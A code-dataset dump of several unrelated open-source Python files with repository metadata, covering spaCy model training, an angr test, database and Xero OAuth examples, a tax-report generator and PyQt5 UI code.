mm return getattr(mm, name) @property def path(self): if not self._path.exists(): self._path.mkdir(parents=True) return self._path @property def result_path(self): if not self._result_path.exists(): self._result_path.mkdir(parents=True) return self._result_path @property def snapshot_path(self): if not self._snapshot_path.exists(): self._snapshot_path.mkdir(parents=True) return self._snapshot_path @property def log_path(self): if not self._log_path.exists(): self._log_path.mkdir(parents=True) return self._log_path @property def model_name(self): return self.model_cls.__name__ @property def model_cls(self): if self._model_cls is not None: return self._model_cls self._load() return self._model_cls @property def config(self): if self._config is not None: return self._config self._load() return self._config def setup_like(self, model: Model): """Configure workspace with configurations from a given model. Args: model (Model): model to be used """ self._set_model(model.__class__, model.config._asdict()) def build_model(self): """Build model according to the configurations in current workspace.""" return self.model_cls.build(**self.config) def logger(self, name: str): """Get a logger that logs to a file. Notice that same logger instance is returned for same names. Args: name(str): logger name """ logger = logging.getLogger(name) if logger.handlers: # previously configured, remain unchanged return logger fileFormatter = logging.Formatter('%(levelname)s [%(name)s] ' '%(asctime)s %(message)s', datefmt='%Y-%m-%d %H:%M:%S') fileHandler = logging.FileHandler( str(self.log_path / (name + '.log'))) fileHandler.setFormatter(fileFormatter) logger.addHandler(fileHandler) return logger def _load(self): """Load configuration.""" try: cfg = toml.load((self.path / 'config.toml').open()) self._set_model(cfg['model_name'], cfg[cfg['model_name'].lower()]) except (FileNotFoundError, KeyError): raise NotConfiguredError('config.toml doesn\'t exist or ' 'is incomplete') def _save(self): """Save configuration.""" f = (self.path / 'config.toml').open('w') toml.dump({'model_name': self.model_name, self.model_name.lower(): self.config}, f) f.close() class Command(abc.ABC): """Command interface.""" def __init__(self, parser): self.parser = parser def _run(self, args): ws = Workspace(args.workspace) cmd = args.command del args.command, args.func, args.workspace args = {name: value for (name, value) in args._get_kwargs()} args = namedtuple(cmd.capitalize(), args.keys())(*args.values()) return self.run(ws, args) @abc.abstractmethod def run(self, ws, args): raise NotImplementedError

28.405858

78

0.577405

6,637

0.977611

0

2,782

0.409781

0

1,529

0.225217

4274e96e6ce5245f31a18bf5087d02fdafd53341

2,737

py

Python

training/train_pos_dep.py

ex00/spacy-ru

7284d8127dca322fcc2aa9ce0267699cfc9baf38

[ "MIT" ]

null

training/train_pos_dep.py

ex00/spacy-ru

7284d8127dca322fcc2aa9ce0267699cfc9baf38

[ "MIT" ]

null

training/train_pos_dep.py

ex00/spacy-ru

7284d8127dca322fcc2aa9ce0267699cfc9baf38

[ "MIT" ]

null

from __future__ import unicode_literals, print_function import sys from pathlib import Path import spacy from spacy.lang.ru import Russian from spacy.pipeline import Tagger, DependencyParser from spacy.util import fix_random_seed, set_lang_class from models.dep import MyDEP from models.loadvec import get_ft_vec from models.pos import MyPOS from models.t2v import build_tok2vec from training.corpora.syntagrus import get_syntagrus_example, get_syntagrus from training.trainer import Trainer, Extractor from utils.corpus import tag_morphology CFG = {"device": 0, 'verbose': 1} GPU_1 = "-g1" in sys.argv[1:] if GPU_1: CFG["device"] = 1 TESTS = False spacy.require_gpu(CFG['device']) TEST_MODE = "--test" in sys.argv[1:] if TEST_MODE: SynTagRus = get_syntagrus_example(Path("data/syntagrus/")) else: SynTagRus = get_syntagrus(Path("data/syntagrus/")) def create_pos(nlp, cls=MyPOS, labels=[], **opts): pos = cls(nlp.vocab, **opts) for e in labels: pos.add_label(e, tag_morphology(e)) return pos def create_dep(nlp, cls=MyDEP, labels=[], **opts): dep = cls(nlp.vocab, **opts) # for e in labels: # dep.add_label(e) return dep ft_vectors = get_ft_vec() tok2vec = build_tok2vec(embed_size=2000, vectors={"word_vectors": ft_vectors}) def smoke_test(): nlp = spacy.blank("ru") nlp.add_pipe(create_pos(nlp)) nlp.add_pipe(create_dep(nlp)) nlp.vocab.morphology.tag_map.clear() nlp.begin_training(tok2vec=tok2vec, **CFG) if TEST_MODE: print(nlp.pipeline) dep = nlp.get_pipe('parser') if TEST_MODE: print(dep(nlp.tokenizer("приветы всем"))) class Russian2(Russian): lang = "ru" def train_spacy(nlp, epochs): # set_lang_class('ru2', Russian2) extractor = Extractor() cfg = {'tok2vec': tok2vec, **CFG} fix_random_seed() trainer = Trainer(nlp, SynTagRus.ds_train, SynTagRus.ds_test, extractor, **cfg) nlp.vocab.morphology.tag_map.clear() trainer.train(epochs=epochs) def main(): smoke_test() nlp = spacy.blank("ru") nlp.vocab.morphology.tag_map.clear() nlp.add_pipe(create_pos(nlp, labels=[])) nlp.add_pipe(create_dep(nlp, labels=[], config={'learn_tokens': False})) # nlp.add_pipe(create_pos(nlp, cls=Tagger, labels=SynTagRus.pos)) # nlp.add_pipe(create_dep(nlp, cls=DependencyParser, labels=SynTagRus.dep, config={'learn_tokens': False})) if TEST_MODE: print(nlp.pipeline) # nlp.add_pipe(create_pos(nlp, labels=SynTagRus.pos)) # nlp.add_pipe(create_dep(nlp, labels=SynTagRus.dep, config={'learn_tokens': False})) if TEST_MODE: train_spacy(nlp, epochs=5) else: train_spacy(nlp, epochs=50) if __name__ == "__main__": main()

27.646465

111

0.700037

40

0.014556

0

554

0.201601

4275177baedf41f1ab31ef0704dfda58eb058f5e

1,512

py

Python

tests/test_peephole_optimizations.py

capuanob/angr

4e5bb119965cb282f5bcb3dea5b598e88097f715

[ "BSD-2-Clause" ]

null

tests/test_peephole_optimizations.py

capuanob/angr

4e5bb119965cb282f5bcb3dea5b598e88097f715

[ "BSD-2-Clause" ]

null

tests/test_peephole_optimizations.py

capuanob/angr

4e5bb119965cb282f5bcb3dea5b598e88097f715

[ "BSD-2-Clause" ]

null

# pylint:disable=missing-class-docstring,no-self-use import os import unittest import archinfo import ailment import angr from angr.analyses.decompiler.peephole_optimizations import ConstantDereferences test_location = os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..', 'binaries', 'tests') class TestPeepholeOptimizations(unittest.TestCase): def test_constant_dereference(self): # a = *(A) :=> a = the variable at at A iff # - A is a pointer that points to a read-only section. proj = angr.Project(os.path.join(test_location, "armel", "decompiler", "rm"), auto_load_libs=False) expr = ailment.Expr.Load(None, ailment.Expr.Const(None, None, 0xa000, proj.arch.bits), proj.arch.bytes, archinfo.Endness.LE, ins_addr=0x400100) opt = ConstantDereferences(proj, proj.kb, 0) optimized = opt.optimize(expr) assert isinstance(optimized, ailment.Const) assert optimized.value == 0x183f8 assert optimized.tags.get('ins_addr', None) == 0x400100, "Peephole optimizer lost tags." # multiple cases that no optimization should happen # a. Loading a pointer from a writable location expr = ailment.Expr.Load(None, ailment.Expr.Const(None, None, 0x21df4, proj.arch.bits), 1, archinfo.Endness.LE) opt = ConstantDereferences(proj, proj.kb, 0) optimized = opt.optimize(expr) assert optimized is None if __name__ == "__main__": unittest.main()

38.769231

119

0.683201

1,148

0.759259

0

346

0.228836

42755fd81a38eefae8f526ffb8db205e1141d33b

604

py

Python

PySpace/mysql/mysql_insertdata.py

dralee/LearningRepository

4324d3c5ac1a12dde17ae70c1eb7f3d36a047ba4

[ "Apache-2.0" ]

null

PySpace/mysql/mysql_insertdata.py

dralee/LearningRepository

4324d3c5ac1a12dde17ae70c1eb7f3d36a047ba4

[ "Apache-2.0" ]

null

PySpace/mysql/mysql_insertdata.py

dralee/LearningRepository

4324d3c5ac1a12dde17ae70c1eb7f3d36a047ba4

[ "Apache-2.0" ]

null

#!/usr/bin/python3 # 文件名：mysql_createtable.py import pymysql # 打开数据库连接 db = pymysql.connect('localhost','root','1234','fdtest') # 使用cursor()方法创建一个游标对象cursor cursor = db.cursor() # SQL插入语句 sql = """INSERT INTO EMPLOYEE( FIRST_NAME,LAST_NAME,AGE,SEX,INCOME) VALUES('Mac2','Mohan2',20,'M',6000)""" """ 或 sql = "INSERT INTO EMPLOYEE(FIRST_NAME, \ LAST_NAME, AGE, SEX, INCOME) \ VALUES ('%s', '%s', '%d', '%c', '%d' )" % \ ('Mac', 'Mohan', 20, 'M', 2000) """ try: # 执行sql语句 cursor.execute(sql) # 提交到数据库执行 db.commit() except: # 如发生错误则回滚 db.rollback() # 关闭数据库连接 db.close()

16.777778

56

0.61755

0

552

0.773109

42787867fa3db8b6721924f36a9b0de8973ee0ae

1,572

py

Python

appleseed_python.py

AllegorithmicSAS/sat-scons

3eea609385fb9bdd93562097d302a3707c3c6ebe

[ "BSD-3-Clause" ]

25

2018-09-17T00:10:30.000Z

2021-11-07T06:41:35.000Z

appleseed_python.py

AllegorithmicSAS/sat-scons

3eea609385fb9bdd93562097d302a3707c3c6ebe

[ "BSD-3-Clause" ]

null

appleseed_python.py

AllegorithmicSAS/sat-scons

3eea609385fb9bdd93562097d302a3707c3c6ebe

[ "BSD-3-Clause" ]

3

2018-08-28T15:01:43.000Z

2021-05-04T16:54:51.000Z

import os import subprocess import threading mutex = threading.Lock() def render_appleseed(target_file, base_color_tex, normal_tex, roughness_tex, metallic_tex, resolution, appleseed_path): mutex.acquire() try: # Read the template file from disk. with open("scene_template.appleseed", "r") as file: project_text = file.read() # Substitute variables by their values. project_text = project_text.replace("$baseColorTexturePath", base_color_tex) project_text = project_text.replace("$normalTexturePath", normal_tex) project_text = project_text.replace("$roughnessTexturePath", roughness_tex) project_text = project_text.replace("$metallicTexturePath", metallic_tex) project_text = project_text.replace("$frameWidth", str(resolution[0])) project_text = project_text.replace("$frameHeight", str(resolution[1])) # Write the new project file to disk. project_file = os.path.splitext(target_file)[0] + ".appleseed" with open(project_file, "w") as file: file.write(project_text) # Invoke appleseed to render the project file. appleseed_cli_path = os.path.join(appleseed_path, "bin", "appleseed.cli.exe" if os.name == "nt" else "appleseed.cli") subprocess.check_call([appleseed_cli_path, "--message-verbosity", "error", project_file, "--output", target_file]) except Exception as e: print("Failed to generate {0} with appleseed: {1}".format(target_file, e)) raise finally: mutex.release()

40.307692

125

0.688295

0

441

0.280534

42793637f0ad1d6b8bdb63c8ad74420df516a382

1,327

py

Python

conjureup/ui/views/credentials.py

iMichka/conjure-up

8e4599e6f58b52163384150d8d71e7802462d126

[ "MIT" ]

1

2019-06-26T23:39:13.000Z

conjureup/ui/views/credentials.py

iMichka/conjure-up

8e4599e6f58b52163384150d8d71e7802462d126

[ "MIT" ]

null

conjureup/ui/views/credentials.py

iMichka/conjure-up

8e4599e6f58b52163384150d8d71e7802462d126

[ "MIT" ]

1

2020-10-05T14:42:31.000Z

from ubuntui.utils import Padding from ubuntui.widgets.hr import HR from conjureup.app_config import app from conjureup.ui.views.base import BaseView, SchemaFormView from conjureup.ui.widgets.selectors import MenuSelectButtonList class NewCredentialView(SchemaFormView): title = "New Credential Creation" def __init__(self, *args, **kwargs): cloud_type = app.provider.cloud_type.upper() self.subtitle = "Enter your {} credentials".format(cloud_type) super().__init__(*args, **kwargs) class CredentialPickerView(BaseView): title = "Choose a Credential" subtitle = "Please select an existing credential, " \ "or choose to add a new one." footer = 'Please press [ENTER] on highlighted credential to proceed.' def __init__(self, credentials, default, submit_cb, back_cb): self.credentials = credentials self.default = default self.submit_cb = submit_cb self.prev_screen = back_cb super().__init__() def build_widget(self): widget = MenuSelectButtonList(self.credentials, self.default) widget.append(Padding.line_break("")) widget.append(HR()) widget.append_option("Add a new credential", None) return widget def submit(self): self.submit_cb(self.widget.selected)

33.175

73

0.694047

1,090

0.821402

0

226

0.170309

427ab04e73a73ae528a76eac0fdda4742addfcf9

355

py

Python

sleekxmpp/plugins/__init__.py

aristanetworks/SleekXMPP

91f53bf1964a564f6f12477a31884e9ec38cef75

[ "MIT" ]

null

sleekxmpp/plugins/__init__.py

aristanetworks/SleekXMPP

91f53bf1964a564f6f12477a31884e9ec38cef75

[ "MIT" ]

1

2020-04-10T22:09:06.000Z

sleekxmpp/plugins/__init__.py

aristanetworks/SleekXMPP

91f53bf1964a564f6f12477a31884e9ec38cef75

[ "MIT" ]

1

2019-12-05T12:10:16.000Z

""" SleekXMPP: The Sleek XMPP Library Copyright (C) 2010 Nathanael C. Fritz This file is part of SleekXMPP. See the file LICENSE for copying permission. """ __all__ = ['xep_0004', 'xep_0012', 'xep_0030', 'xep_0033', 'xep_0045', 'xep_0050', 'xep_0085', 'xep_0092', 'xep_0199', 'gmail_notify', 'xep_0060', 'xep_0202']

32.272727

74

0.63662

0

297

0.83662

427af261bc83da6fc8ac5c1ea1e2a2473e51e220

5,276

py

Python

main.py

pwillworth/dfkreport

ae10226430a3a74ac3c07ae888cab14dde778db8

[ "Apache-2.0" ]

11

2022-01-18T17:36:12.000Z

2022-03-21T21:09:17.000Z

main.py

pwillworth/dfkreport

ae10226430a3a74ac3c07ae888cab14dde778db8

[ "Apache-2.0" ]

null

main.py

pwillworth/dfkreport

ae10226430a3a74ac3c07ae888cab14dde778db8

[ "Apache-2.0" ]

4

2022-01-18T18:37:48.000Z

2022-01-22T02:14:48.000Z

#!/usr/bin/env python3 import transactions import taxmap import db import settings import datetime import argparse import uuid import pickle import jsonpickle import logging import logging.handlers import traceback def main(): handler = logging.handlers.RotatingFileHandler('../main.log', maxBytes=33554432, backupCount=10) logging.basicConfig(handlers=[handler], level=logging.INFO, format='%(asctime)s.%(msecs)03d %(levelname)-8s %(message)s', datefmt='%Y-%m-%d %H:%M:%S') logging.info('We got a report request') parser = argparse.ArgumentParser() parser.add_argument("wallet", help="The evm compatible wallet address to generate for") parser.add_argument("startDate", help="The starting date for the report") parser.add_argument("endDate", help="The ending date for the report") parser.add_argument("--costbasis", choices=['fifo','lifo','hifo','acb'], help="Method for mapping cost basis to gains") parser.add_argument("--chains", choices=['1','2','3','4','5','6','7'], help="Bitwise integer of blockchains to include 1=Harmony,2=Avax,4=DFKChain") args = parser.parse_args() if args.costbasis == None: costBasis = 'fifo' else: costBasis = args.costbasis page_size = settings.TX_PAGE_SIZE txResult = 0 txData = [] moreOptions = db.ReportOptions() # list of transactions if loaded from file if available, otherwise fetched reportInfo = db.findReport(args.wallet, args.startDate, args.endDate) if reportInfo != None and reportInfo[5] > 0 and len(reportInfo[8]) > 0: includedChains = reportInfo[12] with open('../transactions/{0}'.format(reportInfo[8]), 'rb') as file: txData = pickle.load(file) else: # generate.py pre-generates report record, but if running outside of that, create one if reportInfo == None: generateTime = datetime.datetime.now() txResult = transactions.getTransactionCount(args.wallet) includedChains = 1 db.createReport(args.wallet, args.startDate, args.endDate, int(datetime.datetime.timestamp(generateTime)), txResult, costBasis, includedChains, 1) else: includedChains = reportInfo[12] try: moreOptions = jsonpickle.loads(reportInfo[13]) except Exception as err: logging.warning('Ignoring failure to load more options, probably old ui not setting it.') logging.info('Loading transactions list for {0}'.format(args.wallet)) # Scale up default page size for very large accounts if reportInfo != None and reportInfo[4] > page_size*50: page_size = min(1000, page_size*5) try: txData = transactions.getTransactionList(args.wallet, args.startDate, args.endDate, page_size, includedChains) except Exception as err: logging.error('Unexpected Error {0} fetching transaction list, setting report to failure.'.format(err)) traceback.print_exc() db.updateReportError(args.wallet, args.startDate, args.endDate, 8) return 1 # The transactions are written to a file and record updated indicate fetching complete transactionsFile = uuid.uuid4().hex with open('../transactions/{0}'.format(transactionsFile), 'wb') as f: pickle.dump(txData, f) try: db.completeTransactions(args.wallet, args.startDate, args.endDate, transactionsFile) except Exception as err: logging.error('DB report update tx complete failure: {0}'.format(str(err))) # With transaction list, we now generate the events and tax map try: reportData = taxmap.buildTaxMap(txData, args.wallet, datetime.datetime.strptime(args.startDate, '%Y-%m-%d').date(), datetime.datetime.strptime(args.endDate, '%Y-%m-%d').date(), costBasis, includedChains, moreOptions) except Exception as err: logging.error('Unexpected Error {0} building tax map, setting report to failure.'.format(err)) traceback.print_exc() # Set a different code when web3.exceptions.TransactionNotFound # so we can relay that it is about network rpc issue, try later if str(err) == "{'message': 'Relay attempts exhausted', 'code': -32050}": statusCode = 8 elif "Bad Gateway for url" in str(err) or "Service Unavailable" in str(err) or "Max retries exceeded" in str(err): statusCode = 8 else: statusCode = 9 try: db.updateReportError(args.wallet, args.startDate, args.endDate, statusCode) except Exception as err: logging.error('DB report update error failure: {0}'.format(str(err))) return 1 for item in reportData['taxes']: logging.debug(str(item.__dict__) + '\n') # The results are written to a file and record updated to notify completion reportFile = uuid.uuid4().hex with open('../reports/{0}'.format(reportFile), 'wb') as f: pickle.dump(reportData, f) try: db.completeReport(args.wallet, args.startDate, args.endDate, reportFile) except Exception as err: logging.error('DB report update complete failure: {0}'.format(str(err))) if __name__ == "__main__": main()

47.531532

224

0.666035

0

1,624

0.307809

427b0f2bb086452498a9bfd3a4dc95c14c7879d6

127

py

Python

src/tarski/fstrips/contingent/__init__.py

phoeft670/tarski

7d955e535fbbca012bfd1a12402b97febc6b35b9

[ "Apache-2.0" ]

29

2018-11-26T20:31:04.000Z

2021-12-29T11:08:40.000Z

src/tarski/fstrips/contingent/__init__.py

phoeft670/tarski

7d955e535fbbca012bfd1a12402b97febc6b35b9

[ "Apache-2.0" ]

101

2018-06-07T13:10:01.000Z

2022-03-11T11:54:00.000Z

src/tarski/fstrips/contingent/__init__.py

phoeft670/tarski

7d955e535fbbca012bfd1a12402b97febc6b35b9

[ "Apache-2.0" ]

18

2018-11-01T22:44:39.000Z

2022-02-28T04:57:15.000Z

from .problem import ContingentProblem as Problem from .. action import Action from .sensor import Sensor from . import errors

25.4

49

0.811024

0

427bd9dc45f6695e499240fef94ddec3e4b3fe88

80

py

Python

p40-49/p48.py

kbrose/project_euler

f582ef1887f44628997e05d88253adad0822d6b9

[ "Unlicense" ]

1

2015-10-11T15:53:00.000Z

p40-49/p48.py

kbrose/project_euler

f582ef1887f44628997e05d88253adad0822d6b9

[ "Unlicense" ]

null

p40-49/p48.py

kbrose/project_euler

f582ef1887f44628997e05d88253adad0822d6b9

[ "Unlicense" ]

null

sum = 0 for i in xrange(1,1001): sum = sum + i**i print sum % 10000000000

11.428571

24

0.6

0

427dedadfbbcbe3c95d00fdafba41ac3a4018d6f

2,121

py

Python

property_proteome/length/run.py

rrazban/proteomevis_scripts

2b6309a78287ffab4ee745383c21b9f474b93b60

[ "MIT" ]

1

2020-11-11T06:14:10.000Z

property_proteome/length/run.py

rrazban/proteomevis_scripts

2b6309a78287ffab4ee745383c21b9f474b93b60

[ "MIT" ]

null

property_proteome/length/run.py

rrazban/proteomevis_scripts

2b6309a78287ffab4ee745383c21b9f474b93b60

[ "MIT" ]

1

2019-05-28T19:13:24.000Z

#!/usr/bin/python help_msg = 'get uniprot length of entire proteome' import os, sys CWD = os.getcwd() UTLTS_DIR = CWD[:CWD.index('proteomevis_scripts')]+'/proteomevis_scripts/utlts' sys.path.append(UTLTS_DIR) from parse_user_input import help_message from read_in_file import read_in from parse_data import organism from uniprot_api import UniProtAPI from output import writeout def parse_chain_length(words, i, verbose): #put this in class if len(words)==1: #does not capture UniProt peptide case if verbose: print 'No chain found: {0}. Structure is discarded'.format(words) length = '' elif '>' in words[i+1]: length = '' elif '?' in words[i+1]: length = '' elif '?' in words[i] or '<' in words[i]: if verbose: print 'No starting residue for chain: {0}'.format(words) length = int(words[i+1]) else: length = int(words[i+1]) - int(words[i]) + 1 return length class UniProtLength(): def __init__(self, verbose, d_ref): self.verbose = verbose self.d_ref = d_ref uniprotapi = UniProtAPI(['id', 'feature(CHAIN)']) if organism=='new_protherm': print len(d_ref) self.labels, self.raw_data = uniprotapi.uniprot_info(d_ref.keys()) else: self.labels, self.raw_data = uniprotapi.organism_info() self.d_output = {} def run(self): for line in self.raw_data: words = line.split() uniprot = words[self.labels.index('Entry')] if uniprot in self.d_ref: chain_length_i = self.labels.index('Chain')+1 chain_length = parse_chain_length(words, chain_length_i, self.verbose) if chain_length: self.d_output[uniprot] = chain_length return self.d_output if __name__ == "__main__": args = help_message(help_msg, bool_add_verbose = True) d_ref = read_in('Entry', 'Gene names (ordered locus )', filename = 'proteome') uniprot_length = UniProtLength(args.verbose, d_ref) d_output = uniprot_length.run() if organism!='protherm': d_output = {d_ref[uniprot]: res for uniprot, res in d_output.iteritems()} xlabel = 'oln' else: #not supported for ProTherm xlabel = 'uniprot' writeout([xlabel, 'length'], d_output, filename = 'UniProt')

29.054795

87

0.705799

726

0.342291

0

433

0.204149

427e1e9e41044ab46aedd645fb3078c3369fa522

2,086

py

Python

machine_learning/torch_time_series_forecasting/src/data/dataset.py

iimuz/til

b100438e8ce2f369331b3be215a4b9cdce9ffda5

[ "MIT" ]

4

2020-07-25T01:20:08.000Z

2020-10-03T12:58:15.000Z

machine_learning/torch_time_series_forecasting/src/data/dataset.py

iimuz/til

b100438e8ce2f369331b3be215a4b9cdce9ffda5

[ "MIT" ]

29

2019-09-30T08:04:14.000Z

2022-03-12T13:51:08.000Z

machine_learning/torch_time_series_forecasting/src/data/dataset.py

iimuz/til

b100438e8ce2f369331b3be215a4b9cdce9ffda5

[ "MIT" ]

1

2020-08-14T05:15:51.000Z

"""データセットをダウンロードするためのスクリプトです.""" # default packages import logging import pathlib import traceback import urllib.request as request # third party import pandas as pd import tqdm as tqdm_std # my packages import src.data.directory as directory # logger logger = logging.getLogger(__name__) class TqdmUpTo(tqdm_std.tqdm): """Provides `update_to(n)` which uses `tqdm.update(delta_n)`. Args: tqdm (tqdm): tqdm """ def update_to(self, b: int = 1, bsize: int = 1, tsize: int = None) -> None: """ update function Args: b (int, optional): Number of blocks transferred. Defaults to 1. bsize (int, optional): Size of each block (in tqdm units). Defaults to 1. tsize ([type], optional): Total size (in tqdm units). Defaults to None. """ if tsize is not None: self.total = tsize self.update(b * bsize - self.n) def get_raw_filepath() -> pathlib.Path: url = get_raw_url() filepath = directory.get_raw().joinpath(url.split("/")[-1]) return filepath def get_raw_url() -> str: url = ( "https://storage.googleapis.com/tensorflow/tf-keras-datasets/" "jena_climate_2009_2016.csv.zip" ) return url def _main() -> None: """メインの実行スクリプト.""" logging.basicConfig(level=logging.INFO) filepath = get_raw_filepath() if filepath.exists() is False: url = get_raw_url() filepath.parent.mkdir(exist_ok=True, parents=True) with TqdmUpTo( unit="B", unit_scale=True, miniters=1, desc=filepath.name ) as pbar: request.urlretrieve( url, filename=filepath, reporthook=pbar.update_to, data=None ) else: logger.info(f"data already exists: {filepath}") # show dataset description. df = pd.read_csv(filepath) logger.info(df.info()) logger.info(df.head()) logger.info(df.tail()) if __name__ == "__main__": try: _main() except Exception as e: logger.error(e) logger.error(traceback.format_exc())

25.13253

85

0.622244

624

0.289157

0

743

0.3443

427f14f88f6ffd13fff4e9351ec1d15fe8db0b86

3,320

py

Python

app.py

aracnid/i-xero

2fb2f093a8a92e0ba2f4cdbe440e962a38c09f7e

[ "MIT" ]

null

app.py

aracnid/i-xero

2fb2f093a8a92e0ba2f4cdbe440e962a38c09f7e

[ "MIT" ]

null

app.py

aracnid/i-xero

2fb2f093a8a92e0ba2f4cdbe440e962a38c09f7e

[ "MIT" ]

null

"""Primary application. """ import json import logging import logging.config import os import sys from flask import url_for, render_template, redirect, request from i_xero import Xero2 from i_xero.i_flask import FlaskInterface from utils import jsonify, serialize_model # initialize logging # The SlackBot app doesn't handle logging in the same way. # I tried to pass in a logger object from aracnid_logger, # but it seems to disable all loggers logging_filename = os.environ.get('LOGGING_CONFIG_FILE') command_dir = os.path.dirname(sys.argv[0]) logging_dir = os.path.join(os.getcwd(), command_dir) logging_path = os.path.join(os.getcwd(), logging_filename) with open(logging_path, 'rt') as file: logging_config = json.load(file) formatter = os.environ.get('LOGGING_FORMATTER') logging_config['handlers']['console']['formatter'] = formatter logging.config.dictConfig(logging_config) env_str = os.environ.get('LOG_UNHANDLED_EXCEPTIONS') LOG_UNHANDLED_EXCEPTIONS = env_str.lower() in ('true', 'yes') if env_str else False # configure flask application flask_app = FlaskInterface(__name__).get_app() # configure xero application xero_app = Xero2(flask_app) @flask_app.route("/") def index(): xero_access = dict(xero_app.obtain_xero_oauth2_token() or {}) return render_template( "code.html", title="Home | oauth token", code=jsonify(xero_access), ) @flask_app.route("/login") def login(): redirect_url = url_for("oauth_callback", _external=True) response = xero_app.oauth_app.authorize(callback_uri=redirect_url) return response @flask_app.route("/callback") def oauth_callback(): try: response = xero_app.oauth_app.authorized_response() except Exception as e: print(e) raise # todo validate state value if response is None or response.get("access_token") is None: return "Access denied: response=%s" % response xero_app.store_xero_oauth2_token(response) return redirect(url_for("index", _external=True)) @flask_app.route("/logout") def logout(): xero_app.store_xero_oauth2_token(None) return redirect(url_for("index", _external=True)) @flask_app.route("/refresh-token") def refresh_token(): xero_token = xero_app.obtain_xero_oauth2_token() new_token = xero_app.refresh_token() return render_template( "code.html", title="Xero OAuth2 token", code=jsonify({"Old Token": xero_token, "New token": new_token}), sub_title="token refreshed", ) @flask_app.route("/tenants") def tenants(): available_tenants = xero_app.get_tenants() if available_tenants is None: return redirect(url_for("login", _external=True)) return render_template( "code.html", title="Xero Tenants", code=jsonify(available_tenants), ) @flask_app.route("/invoices") def get_invoices(): invoices = xero_app.get_invoices() if invoices is None: return redirect(url_for("login", _external=True)) code = serialize_model(invoices) sub_title = "Total invoices found: {}".format(len(invoices.invoices)) return render_template( "code.html", title="Invoices", code=code, sub_title=sub_title ) # start the app locally if __name__ == '__main__': flask_app.run(host='localhost', port=5000)

28.376068

83

0.71506

0

2,035

0.612952

0

764

0.23012

427fcbdb91cef4c0c0751c48d3eb5d865ef45367

8,023

py

Python

ui/Ui_main.py

realm520/aimless

772e87f5b5a00eeac88be948e424310128fcec1a

[ "MIT" ]

null

ui/Ui_main.py

realm520/aimless

772e87f5b5a00eeac88be948e424310128fcec1a

[ "MIT" ]

null

ui/Ui_main.py

realm520/aimless

772e87f5b5a00eeac88be948e424310128fcec1a

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'F:\work\code\pyqt5\ui\main.ui' # # Created by: PyQt5 UI code generator 5.9 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(963, 727) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.gridLayout = QtWidgets.QGridLayout(self.centralwidget) self.gridLayout.setObjectName("gridLayout") self.tabWidget = QtWidgets.QTabWidget(self.centralwidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(1) sizePolicy.setVerticalStretch(1) sizePolicy.setHeightForWidth(self.tabWidget.sizePolicy().hasHeightForWidth()) self.tabWidget.setSizePolicy(sizePolicy) self.tabWidget.setMinimumSize(QtCore.QSize(571, 0)) self.tabWidget.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.tabWidget.setObjectName("tabWidget") self.tab = QtWidgets.QWidget() self.tab.setObjectName("tab") self.verticalLayout = QtWidgets.QVBoxLayout(self.tab) self.verticalLayout.setObjectName("verticalLayout") self.label = QtWidgets.QLabel(self.tab) self.label.setObjectName("label") self.verticalLayout.addWidget(self.label) self.txtRaw = QtWidgets.QTextEdit(self.tab) self.txtRaw.setObjectName("txtRaw") self.verticalLayout.addWidget(self.txtRaw) self.groupBox = QtWidgets.QGroupBox(self.tab) self.groupBox.setMinimumSize(QtCore.QSize(0, 0)) self.groupBox.setMaximumSize(QtCore.QSize(500, 16777215)) self.groupBox.setObjectName("groupBox") self.horizontalLayout = QtWidgets.QHBoxLayout(self.groupBox) self.horizontalLayout.setObjectName("horizontalLayout") self.btnEncoding = QtWidgets.QPushButton(self.groupBox) self.btnEncoding.setObjectName("btnEncoding") self.horizontalLayout.addWidget(self.btnEncoding) self.btnDecoding = QtWidgets.QPushButton(self.groupBox) self.btnDecoding.setObjectName("btnDecoding") self.horizontalLayout.addWidget(self.btnDecoding) self.btnExchange = QtWidgets.QPushButton(self.groupBox) self.btnExchange.setObjectName("btnExchange") self.horizontalLayout.addWidget(self.btnExchange) self.btnClear = QtWidgets.QPushButton(self.groupBox) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnClear.sizePolicy().hasHeightForWidth()) self.btnClear.setSizePolicy(sizePolicy) self.btnClear.setObjectName("btnClear") self.horizontalLayout.addWidget(self.btnClear) self.cboxCodecType = QtWidgets.QComboBox(self.groupBox) self.cboxCodecType.setObjectName("cboxCodecType") self.cboxCodecType.addItem("") self.horizontalLayout.addWidget(self.cboxCodecType) self.verticalLayout.addWidget(self.groupBox) self.label_2 = QtWidgets.QLabel(self.tab) self.label_2.setObjectName("label_2") self.verticalLayout.addWidget(self.label_2) self.txtResult = QtWidgets.QTextEdit(self.tab) self.txtResult.setObjectName("txtResult") self.verticalLayout.addWidget(self.txtResult) self.tabWidget.addTab(self.tab, "") self.tab_2 = QtWidgets.QWidget() self.tab_2.setObjectName("tab_2") self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.tab_2) self.verticalLayout_2.setObjectName("verticalLayout_2") self.txtJson = QtWidgets.QTextEdit(self.tab_2) self.txtJson.setObjectName("txtJson") self.verticalLayout_2.addWidget(self.txtJson) self.groupBox_2 = QtWidgets.QGroupBox(self.tab_2) self.groupBox_2.setMinimumSize(QtCore.QSize(0, 50)) self.groupBox_2.setObjectName("groupBox_2") self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.groupBox_2) self.horizontalLayout_2.setObjectName("horizontalLayout_2") self.btnJsonFormat = QtWidgets.QPushButton(self.groupBox_2) self.btnJsonFormat.setObjectName("btnJsonFormat") self.horizontalLayout_2.addWidget(self.btnJsonFormat) self.btnJsonCompress = QtWidgets.QPushButton(self.groupBox_2) self.btnJsonCompress.setObjectName("btnJsonCompress") self.horizontalLayout_2.addWidget(self.btnJsonCompress) self.btnJsonEscape = QtWidgets.QPushButton(self.groupBox_2) 